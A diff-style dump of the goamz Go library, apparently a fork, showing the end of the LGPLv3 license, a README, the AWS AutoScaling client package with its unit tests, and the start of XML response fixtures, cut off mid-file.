0. Additional Definitions.
|
||||
|
||||
As used herein, "this License" refers to version 3 of the GNU Lesser
|
||||
General Public License, and the "GNU GPL" refers to version 3 of the GNU
|
||||
General Public License.
|
||||
|
||||
"The Library" refers to a covered work governed by this License,
|
||||
other than an Application or a Combined Work as defined below.
|
||||
|
||||
An "Application" is any work that makes use of an interface provided
|
||||
by the Library, but which is not otherwise based on the Library.
|
||||
Defining a subclass of a class defined by the Library is deemed a mode
|
||||
of using an interface provided by the Library.
|
||||
|
||||
A "Combined Work" is a work produced by combining or linking an
|
||||
Application with the Library. The particular version of the Library
|
||||
with which the Combined Work was made is also called the "Linked
|
||||
Version".
|
||||
|
||||
The "Minimal Corresponding Source" for a Combined Work means the
|
||||
Corresponding Source for the Combined Work, excluding any source code
|
||||
for portions of the Combined Work that, considered in isolation, are
|
||||
based on the Application, and not on the Linked Version.
|
||||
|
||||
The "Corresponding Application Code" for a Combined Work means the
|
||||
object code and/or source code for the Application, including any data
|
||||
and utility programs needed for reproducing the Combined Work from the
|
||||
Application, but excluding the System Libraries of the Combined Work.
|
||||
|
||||
1. Exception to Section 3 of the GNU GPL.
|
||||
|
||||
You may convey a covered work under sections 3 and 4 of this License
|
||||
without being bound by section 3 of the GNU GPL.
|
||||
|
||||
2. Conveying Modified Versions.
|
||||
|
||||
If you modify a copy of the Library, and, in your modifications, a
|
||||
facility refers to a function or data to be supplied by an Application
|
||||
that uses the facility (other than as an argument passed when the
|
||||
facility is invoked), then you may convey a copy of the modified
|
||||
version:
|
||||
|
||||
a) under this License, provided that you make a good faith effort to
|
||||
ensure that, in the event an Application does not supply the
|
||||
function or data, the facility still operates, and performs
|
||||
whatever part of its purpose remains meaningful, or
|
||||
|
||||
b) under the GNU GPL, with none of the additional permissions of
|
||||
this License applicable to that copy.
|
||||
|
||||
3. Object Code Incorporating Material from Library Header Files.
|
||||
|
||||
The object code form of an Application may incorporate material from
|
||||
a header file that is part of the Library. You may convey such object
|
||||
code under terms of your choice, provided that, if the incorporated
|
||||
material is not limited to numerical parameters, data structure
|
||||
layouts and accessors, or small macros, inline functions and templates
|
||||
(ten or fewer lines in length), you do both of the following:
|
||||
|
||||
a) Give prominent notice with each copy of the object code that the
|
||||
Library is used in it and that the Library and its use are
|
||||
covered by this License.
|
||||
|
||||
b) Accompany the object code with a copy of the GNU GPL and this license
|
||||
document.
|
||||
|
||||
4. Combined Works.
|
||||
|
||||
You may convey a Combined Work under terms of your choice that,
|
||||
taken together, effectively do not restrict modification of the
|
||||
portions of the Library contained in the Combined Work and reverse
|
||||
engineering for debugging such modifications, if you also do each of
|
||||
the following:
|
||||
|
||||
a) Give prominent notice with each copy of the Combined Work that
|
||||
the Library is used in it and that the Library and its use are
|
||||
covered by this License.
|
||||
|
||||
b) Accompany the Combined Work with a copy of the GNU GPL and this license
|
||||
document.
|
||||
|
||||
c) For a Combined Work that displays copyright notices during
|
||||
execution, include the copyright notice for the Library among
|
||||
these notices, as well as a reference directing the user to the
|
||||
copies of the GNU GPL and this license document.
|
||||
|
||||
d) Do one of the following:
|
||||
|
||||
0) Convey the Minimal Corresponding Source under the terms of this
|
||||
License, and the Corresponding Application Code in a form
|
||||
suitable for, and under terms that permit, the user to
|
||||
recombine or relink the Application with a modified version of
|
||||
the Linked Version to produce a modified Combined Work, in the
|
||||
manner specified by section 6 of the GNU GPL for conveying
|
||||
Corresponding Source.
|
||||
|
||||
1) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (a) uses at run time
|
||||
a copy of the Library already present on the user's computer
|
||||
system, and (b) will operate properly with a modified version
|
||||
of the Library that is interface-compatible with the Linked
|
||||
Version.
|
||||
|
||||
e) Provide Installation Information, but only if you would otherwise
|
||||
be required to provide such information under section 6 of the
|
||||
GNU GPL, and only to the extent that such information is
|
||||
necessary to install and execute a modified version of the
|
||||
Combined Work produced by recombining or relinking the
|
||||
Application with a modified version of the Linked Version. (If
|
||||
you use option 4d0, the Installation Information must accompany
|
||||
the Minimal Corresponding Source and Corresponding Application
|
||||
Code. If you use option 4d1, you must provide the Installation
|
||||
Information in the manner specified by section 6 of the GNU GPL
|
||||
for conveying Corresponding Source.)
|
||||
|
||||
5. Combined Libraries.
|
||||
|
||||
You may place library facilities that are a work based on the
|
||||
Library side by side in a single library together with other library
|
||||
facilities that are not Applications and are not covered by this
|
||||
License, and convey such a combined library under terms of your
|
||||
choice, if you do both of the following:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work based
|
||||
on the Library, uncombined with any other library facilities,
|
||||
conveyed under the terms of this License.
|
||||
|
||||
b) Give prominent notice with the combined library that part of it
|
||||
is a work based on the Library, and explaining where to find the
|
||||
accompanying uncombined form of the same work.
|
||||
|
||||
6. Revised Versions of the GNU Lesser General Public License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions
|
||||
of the GNU Lesser General Public License from time to time. Such new
|
||||
versions will be similar in spirit to the present version, but may
|
||||
differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Library as you received it specifies that a certain numbered version
|
||||
of the GNU Lesser General Public License "or any later version"
|
||||
applies to it, you have the option of following the terms and
|
||||
conditions either of that published version or of any later version
|
||||
published by the Free Software Foundation. If the Library as you
|
||||
received it does not specify a version number of the GNU Lesser
|
||||
General Public License, you may choose any version of the GNU Lesser
|
||||
General Public License ever published by the Free Software Foundation.
|
||||
|
||||
If the Library as you received it specifies that a proxy can decide
|
||||
whether future versions of the GNU Lesser General Public License shall
|
||||
apply, that proxy's public statement of acceptance of any version is
|
||||
permanent authorization for you to choose that version for the
|
||||
Library.
|
||||
@@ -0,0 +1,4 @@
|
||||
# goamz - An Amazon Library for Go
|
||||
|
||||
This is a fork of [https://launchpad.net/goamz](https://launchpad.net/goamz)
|
||||
that adds some missing API calls to certain packages.
|
||||
+491
@@ -0,0 +1,491 @@
|
||||
// The autoscaling package provides types and functions for interaction with the AWS
|
||||
// AutoScaling service (autoscaling)
|
||||
package autoscaling
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"github.com/mitchellh/goamz/aws"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// The AutoScaling type encapsulates operations operations with the autoscaling endpoint.
|
||||
type AutoScaling struct {
|
||||
aws.Auth
|
||||
aws.Region
|
||||
httpClient *http.Client
|
||||
}
|
||||
|
||||
const APIVersion = "2011-01-01"
|
||||
|
||||
// New creates a new AutoScaling instance.
|
||||
func New(auth aws.Auth, region aws.Region) *AutoScaling {
|
||||
return NewWithClient(auth, region, aws.RetryingClient)
|
||||
}
|
||||
|
||||
func NewWithClient(auth aws.Auth, region aws.Region, httpClient *http.Client) *AutoScaling {
|
||||
return &AutoScaling{auth, region, httpClient}
|
||||
}
|
||||
|
||||
func (autoscaling *AutoScaling) query(params map[string]string, resp interface{}) error {
|
||||
params["Version"] = APIVersion
|
||||
params["Timestamp"] = time.Now().In(time.UTC).Format(time.RFC3339)
|
||||
|
||||
endpoint, err := url.Parse(autoscaling.Region.AutoScalingEndpoint)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
sign(autoscaling.Auth, "GET", "/", params, endpoint.Host)
|
||||
endpoint.RawQuery = multimap(params).Encode()
|
||||
r, err := autoscaling.httpClient.Get(endpoint.String())
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer r.Body.Close()
|
||||
if r.StatusCode > 200 {
|
||||
return buildError(r)
|
||||
}
|
||||
|
||||
decoder := xml.NewDecoder(r.Body)
|
||||
decodedBody := decoder.Decode(resp)
|
||||
|
||||
return decodedBody
|
||||
}
|
||||
|
||||
func buildError(r *http.Response) error {
|
||||
var (
|
||||
err Error
|
||||
errors xmlErrors
|
||||
)
|
||||
xml.NewDecoder(r.Body).Decode(&errors)
|
||||
if len(errors.Errors) > 0 {
|
||||
err = errors.Errors[0]
|
||||
}
|
||||
err.StatusCode = r.StatusCode
|
||||
if err.Message == "" {
|
||||
err.Message = r.Status
|
||||
}
|
||||
return &err
|
||||
}
|
||||
|
||||
func multimap(p map[string]string) url.Values {
|
||||
q := make(url.Values, len(p))
|
||||
for k, v := range p {
|
||||
q[k] = []string{v}
|
||||
}
|
||||
return q
|
||||
}
|
||||
|
||||
func makeParams(action string) map[string]string {
|
||||
params := make(map[string]string)
|
||||
params["Action"] = action
|
||||
return params
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// AutoScaling objects
|
||||
|
||||
type Tag struct {
|
||||
Key string `xml:"Key"`
|
||||
Value string `xml:"Value"`
|
||||
PropogateAtLaunch string `xml:"PropogateAtLaunch"`
|
||||
}
|
||||
|
||||
type SecurityGroup struct {
|
||||
SecurityGroup string `xml:"member"`
|
||||
}
|
||||
|
||||
type AvailabilityZone struct {
|
||||
AvailabilityZone string `xml:"member"`
|
||||
}
|
||||
|
||||
type LoadBalancerName struct {
|
||||
LoadBalancerName string `xml:"member"`
|
||||
}
|
||||
|
||||
type LaunchConfiguration struct {
|
||||
ImageId string `xml:"member>ImageId"`
|
||||
InstanceType string `xml:"member>InstanceType"`
|
||||
KeyName string `xml:"member>KeyName"`
|
||||
Name string `xml:"member>LaunchConfigurationName"`
|
||||
SecurityGroups []SecurityGroup `xml:"member>SecurityGroups"`
|
||||
}
|
||||
|
||||
type AutoScalingGroup struct {
|
||||
AvailabilityZones []AvailabilityZone `xml:"member>AvailabilityZones"`
|
||||
DefaultCooldown int `xml:"member>DefaultCooldown"`
|
||||
DesiredCapacity int `xml:"member>DesiredCapacity"`
|
||||
HealthCheckGracePeriod int `xml:"member>HealthCheckGracePeriod"`
|
||||
HealthCheckType string `xml:"member>HealthCheckType"`
|
||||
InstanceId string `xml:"member>InstanceId"`
|
||||
LaunchConfigurationName string `xml:"member>LaunchConfigurationName"`
|
||||
LoadBalancerNames []LoadBalancerName `xml:"member>LoadBalancerNames"`
|
||||
MaxSize int `xml:"member>MaxSize"`
|
||||
MinSize int `xml:"member>MinSize"`
|
||||
Name string `xml:"member>AutoScalingGroupName"`
|
||||
VPCZoneIdentifier string `xml:"member>VPCZoneIdentifier"`
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Create
|
||||
|
||||
// The CreateAutoScalingGroup request parameters
|
||||
type CreateAutoScalingGroup struct {
|
||||
AvailZone []string
|
||||
DefaultCooldown int
|
||||
DesiredCapacity int
|
||||
HealthCheckGracePeriod int
|
||||
HealthCheckType string
|
||||
InstanceId string
|
||||
LaunchConfigurationName string
|
||||
LoadBalancerNames []string
|
||||
MaxSize int
|
||||
MinSize int
|
||||
PlacementGroup string
|
||||
Name string
|
||||
Tags []Tag
|
||||
VPCZoneIdentifier []string
|
||||
|
||||
SetDefaultCooldown bool
|
||||
SetDesiredCapacity bool
|
||||
SetHealthCheckGracePeriod bool
|
||||
SetMaxSize bool
|
||||
SetMinSize bool
|
||||
}
|
||||
|
||||
func (autoscaling *AutoScaling) CreateAutoScalingGroup(options *CreateAutoScalingGroup) (resp *SimpleResp, err error) {
|
||||
params := makeParams("CreateAutoScalingGroup")
|
||||
|
||||
params["AutoScalingGroupName"] = options.Name
|
||||
|
||||
if options.SetDefaultCooldown {
|
||||
params["DefaultCooldown"] = strconv.Itoa(options.DefaultCooldown)
|
||||
}
|
||||
|
||||
if options.SetDesiredCapacity {
|
||||
params["DesiredCapacity"] = strconv.Itoa(options.DesiredCapacity)
|
||||
}
|
||||
|
||||
if options.SetHealthCheckGracePeriod {
|
||||
params["HealthCheckGracePeriod"] = strconv.Itoa(options.HealthCheckGracePeriod)
|
||||
}
|
||||
|
||||
if options.HealthCheckType != "" {
|
||||
params["HealthCheckType"] = options.HealthCheckType
|
||||
}
|
||||
|
||||
if options.InstanceId != "" {
|
||||
params["InstanceId"] = options.InstanceId
|
||||
}
|
||||
|
||||
if options.LaunchConfigurationName != "" {
|
||||
params["LaunchConfigurationName"] = options.LaunchConfigurationName
|
||||
}
|
||||
|
||||
for i, v := range options.AvailZone {
|
||||
params["AvailabilityZones.member."+strconv.Itoa(i+1)] = v
|
||||
}
|
||||
|
||||
for i, v := range options.LoadBalancerNames {
|
||||
params["LoadBalancerNames.member."+strconv.Itoa(i+1)] = v
|
||||
}
|
||||
|
||||
if options.SetMaxSize {
|
||||
params["MaxSize"] = strconv.Itoa(options.MaxSize)
|
||||
}
|
||||
|
||||
if options.SetMinSize {
|
||||
params["MinSize"] = strconv.Itoa(options.MinSize)
|
||||
}
|
||||
|
||||
if options.PlacementGroup != "" {
|
||||
params["PlacementGroup"] = options.PlacementGroup
|
||||
}
|
||||
|
||||
for j, tag := range options.Tags {
|
||||
params["Tag.member."+strconv.Itoa(j+1)+".Key"] = tag.Key
|
||||
params["Tag.member."+strconv.Itoa(j+1)+".Value"] = tag.Value
|
||||
}
|
||||
|
||||
if options.VPCZoneIdentifier != nil {
|
||||
params["VPCZoneIdentifier"] = strings.Join(options.VPCZoneIdentifier, ",")
|
||||
}
|
||||
|
||||
resp = &SimpleResp{}
|
||||
|
||||
err = autoscaling.query(params, resp)
|
||||
|
||||
if err != nil {
|
||||
resp = nil
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// The CreateLaunchConfiguration request parameters
|
||||
type CreateLaunchConfiguration struct {
|
||||
ImageId string
|
||||
InstanceId string
|
||||
InstanceType string
|
||||
KeyName string
|
||||
Name string
|
||||
SecurityGroups []string
|
||||
}
|
||||
|
||||
func (autoscaling *AutoScaling) CreateLaunchConfiguration(options *CreateLaunchConfiguration) (resp *SimpleResp, err error) {
|
||||
params := makeParams("CreateLaunchConfiguration")
|
||||
|
||||
params["LaunchConfigurationName"] = options.Name
|
||||
|
||||
if options.ImageId != "" {
|
||||
params["ImageId"] = options.ImageId
|
||||
}
|
||||
if options.InstanceType != "" {
|
||||
params["InstanceType"] = options.InstanceType
|
||||
}
|
||||
if options.InstanceId != "" {
|
||||
params["InstanceId"] = options.InstanceId
|
||||
}
|
||||
|
||||
if options.KeyName != "" {
|
||||
params["KeyName"] = options.KeyName
|
||||
}
|
||||
|
||||
for i, v := range options.SecurityGroups {
|
||||
params["SecurityGroups.member."+strconv.Itoa(i+1)] = v
|
||||
}
|
||||
|
||||
resp = &SimpleResp{}
|
||||
|
||||
err = autoscaling.query(params, resp)
|
||||
|
||||
if err != nil {
|
||||
resp = nil
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// Describe
|
||||
|
||||
// DescribeAutoScalingGroups request params
|
||||
type DescribeAutoScalingGroups struct {
|
||||
Names []string
|
||||
}
|
||||
|
||||
type DescribeAutoScalingGroupsResp struct {
|
||||
RequestId string `xml:"ResponseMetadata>RequestId"`
|
||||
AutoScalingGroups []AutoScalingGroup `xml:"DescribeAutoScalingGroupsResult>AutoScalingGroups"`
|
||||
}
|
||||
|
||||
func (autoscaling *AutoScaling) DescribeAutoScalingGroups(options *DescribeAutoScalingGroups) (resp *DescribeAutoScalingGroupsResp, err error) {
|
||||
params := makeParams("DescribeAutoScalingGroups")
|
||||
|
||||
for i, v := range options.Names {
|
||||
params["AutoScalingGroupNames.member."+strconv.Itoa(i+1)] = v
|
||||
}
|
||||
|
||||
resp = &DescribeAutoScalingGroupsResp{}
|
||||
|
||||
err = autoscaling.query(params, resp)
|
||||
|
||||
if err != nil {
|
||||
resp = nil
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// DescribeLaunchConfigurations request params
|
||||
type DescribeLaunchConfigurations struct {
|
||||
Names []string
|
||||
}
|
||||
|
||||
type DescribeLaunchConfigurationsResp struct {
|
||||
RequestId string `xml:"ResponseMetadata>RequestId"`
|
||||
LaunchConfigurations []LaunchConfiguration `xml:"DescribeLaunchConfigurationsResult>LaunchConfigurations"`
|
||||
}
|
||||
|
||||
func (autoscaling *AutoScaling) DescribeLaunchConfigurations(options *DescribeLaunchConfigurations) (resp *DescribeLaunchConfigurationsResp, err error) {
|
||||
params := makeParams("DescribeLaunchConfigurations")
|
||||
|
||||
for i, v := range options.Names {
|
||||
params["LaunchConfigurationNames.member."+strconv.Itoa(i+1)] = v
|
||||
}
|
||||
|
||||
resp = &DescribeLaunchConfigurationsResp{}
|
||||
|
||||
err = autoscaling.query(params, resp)
|
||||
|
||||
if err != nil {
|
||||
resp = nil
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Destroy
|
||||
|
||||
// The DeleteLaunchConfiguration request parameters
|
||||
type DeleteLaunchConfiguration struct {
|
||||
Name string
|
||||
}
|
||||
|
||||
func (autoscaling *AutoScaling) DeleteLaunchConfiguration(options *DeleteLaunchConfiguration) (resp *SimpleResp, err error) {
|
||||
params := makeParams("DeleteLaunchConfiguration")
|
||||
|
||||
params["LaunchConfigurationName"] = options.Name
|
||||
|
||||
resp = &SimpleResp{}
|
||||
|
||||
err = autoscaling.query(params, resp)
|
||||
|
||||
if err != nil {
|
||||
resp = nil
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// The DeleteLaunchConfiguration request parameters
|
||||
type DeleteAutoScalingGroup struct {
|
||||
Name string
|
||||
ForceDelete bool
|
||||
}
|
||||
|
||||
func (autoscaling *AutoScaling) DeleteAutoScalingGroup(options *DeleteAutoScalingGroup) (resp *SimpleResp, err error) {
|
||||
params := makeParams("DeleteAutoScalingGroup")
|
||||
|
||||
params["AutoScalingGroupName"] = options.Name
|
||||
params["ForceDelete"] = strconv.FormatBool(options.ForceDelete)
|
||||
|
||||
resp = &SimpleResp{}
|
||||
|
||||
err = autoscaling.query(params, resp)
|
||||
|
||||
if err != nil {
|
||||
resp = nil
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Destroy
|
||||
// The UpdateAutoScalingGroup request parameters
|
||||
type UpdateAutoScalingGroup struct {
|
||||
AvailZone []string
|
||||
DefaultCooldown int
|
||||
DesiredCapacity int
|
||||
HealthCheckGracePeriod int
|
||||
HealthCheckType string
|
||||
LaunchConfigurationName string
|
||||
MaxSize int
|
||||
MinSize int
|
||||
PlacementGroup string
|
||||
Name string
|
||||
VPCZoneIdentifier []string
|
||||
|
||||
SetDefaultCooldown bool
|
||||
SetDesiredCapacity bool
|
||||
SetHealthCheckGracePeriod bool
|
||||
SetMaxSize bool
|
||||
SetMinSize bool
|
||||
}
|
||||
|
||||
func (autoscaling *AutoScaling) UpdateAutoScalingGroup(options *UpdateAutoScalingGroup) (resp *SimpleResp, err error) {
|
||||
params := makeParams("UpdateAutoScalingGroup")
|
||||
|
||||
if options.Name != "" {
|
||||
params["AutoScalingGroupName"] = options.Name
|
||||
}
|
||||
|
||||
if options.SetDefaultCooldown {
|
||||
params["DefaultCooldown"] = strconv.Itoa(options.DefaultCooldown)
|
||||
}
|
||||
|
||||
if options.SetDesiredCapacity {
|
||||
params["DesiredCapacity"] = strconv.Itoa(options.DesiredCapacity)
|
||||
}
|
||||
|
||||
if options.SetHealthCheckGracePeriod {
|
||||
params["HealthCheckGracePeriod"] = strconv.Itoa(options.HealthCheckGracePeriod)
|
||||
}
|
||||
|
||||
if options.HealthCheckType != "" {
|
||||
params["HealthCheckType"] = options.HealthCheckType
|
||||
}
|
||||
|
||||
if options.LaunchConfigurationName != "" {
|
||||
params["LaunchConfigurationName"] = options.LaunchConfigurationName
|
||||
}
|
||||
|
||||
for i, v := range options.AvailZone {
|
||||
params["AvailabilityZones.member."+strconv.Itoa(i+1)] = v
|
||||
}
|
||||
|
||||
if options.SetMaxSize {
|
||||
params["MaxSize"] = strconv.Itoa(options.MaxSize)
|
||||
}
|
||||
|
||||
if options.SetMinSize {
|
||||
params["MinSize"] = strconv.Itoa(options.MinSize)
|
||||
}
|
||||
|
||||
if options.PlacementGroup != "" {
|
||||
params["PlacementGroup"] = options.PlacementGroup
|
||||
}
|
||||
|
||||
if options.VPCZoneIdentifier != nil {
|
||||
params["VPCZoneIdentifier"] = strings.Join(options.VPCZoneIdentifier, ",")
|
||||
}
|
||||
|
||||
resp = &SimpleResp{}
|
||||
|
||||
err = autoscaling.query(params, resp)
|
||||
|
||||
if err != nil {
|
||||
resp = nil
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// Responses
|
||||
|
||||
type SimpleResp struct {
|
||||
RequestId string `xml:"ResponseMetadata>RequestId"`
|
||||
}
|
||||
|
||||
type xmlErrors struct {
|
||||
Errors []Error `xml:"Error"`
|
||||
}
|
||||
|
||||
// Error encapsulates an autoscaling error.
|
||||
type Error struct {
|
||||
// HTTP status code of the error.
|
||||
StatusCode int
|
||||
|
||||
// AWS code of the error.
|
||||
Code string
|
||||
|
||||
// Message explaining the error.
|
||||
Message string
|
||||
}
|
||||
|
||||
func (e *Error) Error() string {
|
||||
var prefix string
|
||||
if e.Code != "" {
|
||||
prefix = e.Code + ": "
|
||||
}
|
||||
if prefix == "" && e.StatusCode > 0 {
|
||||
prefix = strconv.Itoa(e.StatusCode) + ": "
|
||||
}
|
||||
return prefix + e.Message
|
||||
}
|
||||
+179
@@ -0,0 +1,179 @@
|
||||
package autoscaling_test
|
||||
|
||||
import (
|
||||
"github.com/mitchellh/goamz/autoscaling"
|
||||
"github.com/mitchellh/goamz/aws"
|
||||
"github.com/mitchellh/goamz/testutil"
|
||||
. "github.com/motain/gocheck"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func Test(t *testing.T) {
|
||||
TestingT(t)
|
||||
}
|
||||
|
||||
type S struct {
|
||||
autoscaling *autoscaling.AutoScaling
|
||||
}
|
||||
|
||||
var _ = Suite(&S{})
|
||||
|
||||
var testServer = testutil.NewHTTPServer()
|
||||
|
||||
func (s *S) SetUpSuite(c *C) {
|
||||
testServer.Start()
|
||||
auth := aws.Auth{"abc", "123", ""}
|
||||
s.autoscaling = autoscaling.NewWithClient(auth, aws.Region{AutoScalingEndpoint: testServer.URL}, testutil.DefaultClient)
|
||||
}
|
||||
|
||||
func (s *S) TearDownTest(c *C) {
|
||||
testServer.Flush()
|
||||
}
|
||||
|
||||
func (s *S) Test_CreateAutoScalingGroup(c *C) {
|
||||
testServer.Response(200, nil, CreateAutoScalingGroupExample)
|
||||
|
||||
options := autoscaling.CreateAutoScalingGroup{
|
||||
AvailZone: []string{"us-east-1a"},
|
||||
DefaultCooldown: 30,
|
||||
DesiredCapacity: 2,
|
||||
HealthCheckGracePeriod: 30,
|
||||
HealthCheckType: "elb",
|
||||
InstanceId: "i-foo",
|
||||
LaunchConfigurationName: "foobar",
|
||||
MinSize: 2,
|
||||
MaxSize: 2,
|
||||
PlacementGroup: "foobar",
|
||||
Name: "foobar",
|
||||
Tags: []autoscaling.Tag{
|
||||
autoscaling.Tag{
|
||||
Key: "foo",
|
||||
Value: "bar",
|
||||
},
|
||||
},
|
||||
VPCZoneIdentifier: []string{"foo", "bar"},
|
||||
}
|
||||
|
||||
resp, err := s.autoscaling.CreateAutoScalingGroup(&options)
|
||||
req := testServer.WaitRequest()
|
||||
|
||||
c.Assert(req.Form["Action"], DeepEquals, []string{"CreateAutoScalingGroup"})
|
||||
c.Assert(req.Form["InstanceId"], DeepEquals, []string{"i-foo"})
|
||||
c.Assert(req.Form["VPCZoneIdentifier"], DeepEquals, []string{"foo,bar"})
|
||||
c.Assert(err, IsNil)
|
||||
c.Assert(resp.RequestId, Equals, "8d798a29-f083-11e1-bdfb-cb223EXAMPLE")
|
||||
}
|
||||
|
||||
func (s *S) Test_CreateLaunchConfiguration(c *C) {
|
||||
testServer.Response(200, nil, CreateLaunchConfigurationExample)
|
||||
|
||||
options := autoscaling.CreateLaunchConfiguration{
|
||||
SecurityGroups: []string{"sg-1111"},
|
||||
ImageId: "i-141421",
|
||||
InstanceId: "i-141421",
|
||||
InstanceType: "m1.small",
|
||||
KeyName: "foobar",
|
||||
Name: "i-141421",
|
||||
}
|
||||
|
||||
resp, err := s.autoscaling.CreateLaunchConfiguration(&options)
|
||||
req := testServer.WaitRequest()
|
||||
|
||||
c.Assert(req.Form["Action"], DeepEquals, []string{"CreateLaunchConfiguration"})
|
||||
c.Assert(req.Form["InstanceType"], DeepEquals, []string{"m1.small"})
|
||||
c.Assert(req.Form["SecurityGroups.member.1"], DeepEquals, []string{"sg-1111"})
|
||||
c.Assert(err, IsNil)
|
||||
c.Assert(resp.RequestId, Equals, "7c6e177f-f082-11e1-ac58-3714bEXAMPLE")
|
||||
}
|
||||
|
||||
func (s *S) Test_DescribeAutoScalingGroups(c *C) {
|
||||
testServer.Response(200, nil, DescribeAutoScalingGroupsExample)
|
||||
|
||||
options := autoscaling.DescribeAutoScalingGroups{
|
||||
Names: []string{"foobar"},
|
||||
}
|
||||
|
||||
resp, err := s.autoscaling.DescribeAutoScalingGroups(&options)
|
||||
req := testServer.WaitRequest()
|
||||
|
||||
c.Assert(req.Form["Action"], DeepEquals, []string{"DescribeAutoScalingGroups"})
|
||||
c.Assert(req.Form["AutoScalingGroupNames.member.1"], DeepEquals, []string{"foobar"})
|
||||
c.Assert(err, IsNil)
|
||||
c.Assert(resp.RequestId, Equals, "0f02a07d-b677-11e2-9eb0-dd50EXAMPLE")
|
||||
c.Assert(resp.AutoScalingGroups[0].Name, Equals, "my-test-asg-lbs")
|
||||
c.Assert(resp.AutoScalingGroups[0].LaunchConfigurationName, Equals, "my-test-lc")
|
||||
}
|
||||
|
||||
func (s *S) Test_DescribeLaunchConfigurations(c *C) {
|
||||
testServer.Response(200, nil, DescribeLaunchConfigurationsExample)
|
||||
|
||||
options := autoscaling.DescribeLaunchConfigurations{
|
||||
Names: []string{"foobar"},
|
||||
}
|
||||
|
||||
resp, err := s.autoscaling.DescribeLaunchConfigurations(&options)
|
||||
req := testServer.WaitRequest()
|
||||
|
||||
c.Assert(req.Form["Action"], DeepEquals, []string{"DescribeLaunchConfigurations"})
|
||||
c.Assert(req.Form["LaunchConfigurationNames.member.1"], DeepEquals, []string{"foobar"})
|
||||
c.Assert(err, IsNil)
|
||||
c.Assert(resp.RequestId, Equals, "d05a22f8-b690-11e2-bf8e-2113fEXAMPLE")
|
||||
c.Assert(resp.LaunchConfigurations[0].InstanceType, Equals, "m1.small")
|
||||
}
|
||||
|
||||
func (s *S) TestDeleteAutoScalingGroup(c *C) {
|
||||
testServer.Response(200, nil, DeleteAutoScalingGroupExample)
|
||||
|
||||
options := autoscaling.DeleteAutoScalingGroup{
|
||||
Name: "foobar",
|
||||
ForceDelete: true,
|
||||
}
|
||||
|
||||
resp, err := s.autoscaling.DeleteAutoScalingGroup(&options)
|
||||
req := testServer.WaitRequest()
|
||||
|
||||
c.Assert(req.Form["Action"], DeepEquals, []string{"DeleteAutoScalingGroup"})
|
||||
c.Assert(req.Form["AutoScalingGroupName"], DeepEquals, []string{"foobar"})
|
||||
c.Assert(req.Form["ForceDelete"], DeepEquals, []string{"true"})
|
||||
c.Assert(err, IsNil)
|
||||
c.Assert(resp.RequestId, Equals, "70a76d42-9665-11e2-9fdf-211deEXAMPLE")
|
||||
}
|
||||
|
||||
func (s *S) TestDeleteLaunchConfiguration(c *C) {
|
||||
testServer.Response(200, nil, DeleteLaunchConfigurationExample)
|
||||
|
||||
options := autoscaling.DeleteLaunchConfiguration{
|
||||
Name: "foobar",
|
||||
}
|
||||
|
||||
resp, err := s.autoscaling.DeleteLaunchConfiguration(&options)
|
||||
req := testServer.WaitRequest()
|
||||
|
||||
c.Assert(req.Form["Action"], DeepEquals, []string{"DeleteLaunchConfiguration"})
|
||||
c.Assert(req.Form["LaunchConfigurationName"], DeepEquals, []string{"foobar"})
|
||||
c.Assert(err, IsNil)
|
||||
c.Assert(resp.RequestId, Equals, "7347261f-97df-11e2-8756-35eEXAMPLE")
|
||||
}
|
||||
|
||||
func (s *S) Test_UpdateAutoScalingGroup(c *C) {
|
||||
testServer.Response(200, nil, UpdateAutoScalingGroupExample)
|
||||
|
||||
options := autoscaling.UpdateAutoScalingGroup{
|
||||
AvailZone: []string{"us-east-1a"},
|
||||
DefaultCooldown: 30,
|
||||
Name: "bar",
|
||||
|
||||
SetDefaultCooldown: true,
|
||||
}
|
||||
|
||||
resp, err := s.autoscaling.UpdateAutoScalingGroup(&options)
|
||||
req := testServer.WaitRequest()
|
||||
|
||||
c.Assert(req.Form["Action"], DeepEquals, []string{"UpdateAutoScalingGroup"})
|
||||
c.Assert(req.Form["AutoScalingGroupName"], DeepEquals, []string{"bar"})
|
||||
c.Assert(req.Form["DefaultCooldown"], DeepEquals, []string{"30"})
|
||||
c.Assert(req.Form["MinSize"], IsNil)
|
||||
c.Assert(req.Form["MaxSize"], IsNil)
|
||||
c.Assert(err, IsNil)
|
||||
c.Assert(resp.RequestId, Equals, "adafead0-ab8a-11e2-ba13-ab0ccEXAMPLE")
|
||||
}
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
package autoscaling_test
|
||||
|
||||
var ErrorDump = `
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Response><Errors><Error><Code>UnsupportedOperation</Code>
|
||||
<Message></Message>
|
||||
</Error></Errors><RequestID>0503f4e9-bbd6-483c-b54f-c4ae9f3b30f4</RequestID></Response>
|
||||
`
|
||||
|
||||
// http://goo.gl/gQRD2H
|
||||
var CreateAutoScalingGroupExample = `
|
||||
<CreateAutoScalingGroupResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
|
||||
<ResponseMetadata>
|
||||
<RequestId>8d798a29-f083-11e1-bdfb-cb223EXAMPLE</RequestId>
|
||||
</ResponseMetadata>
|
||||
</CreateAutoScalingGroupResponse>
|
||||
`
|
||||
|
||||
var CreateLaunchConfigurationExample = `
|
||||
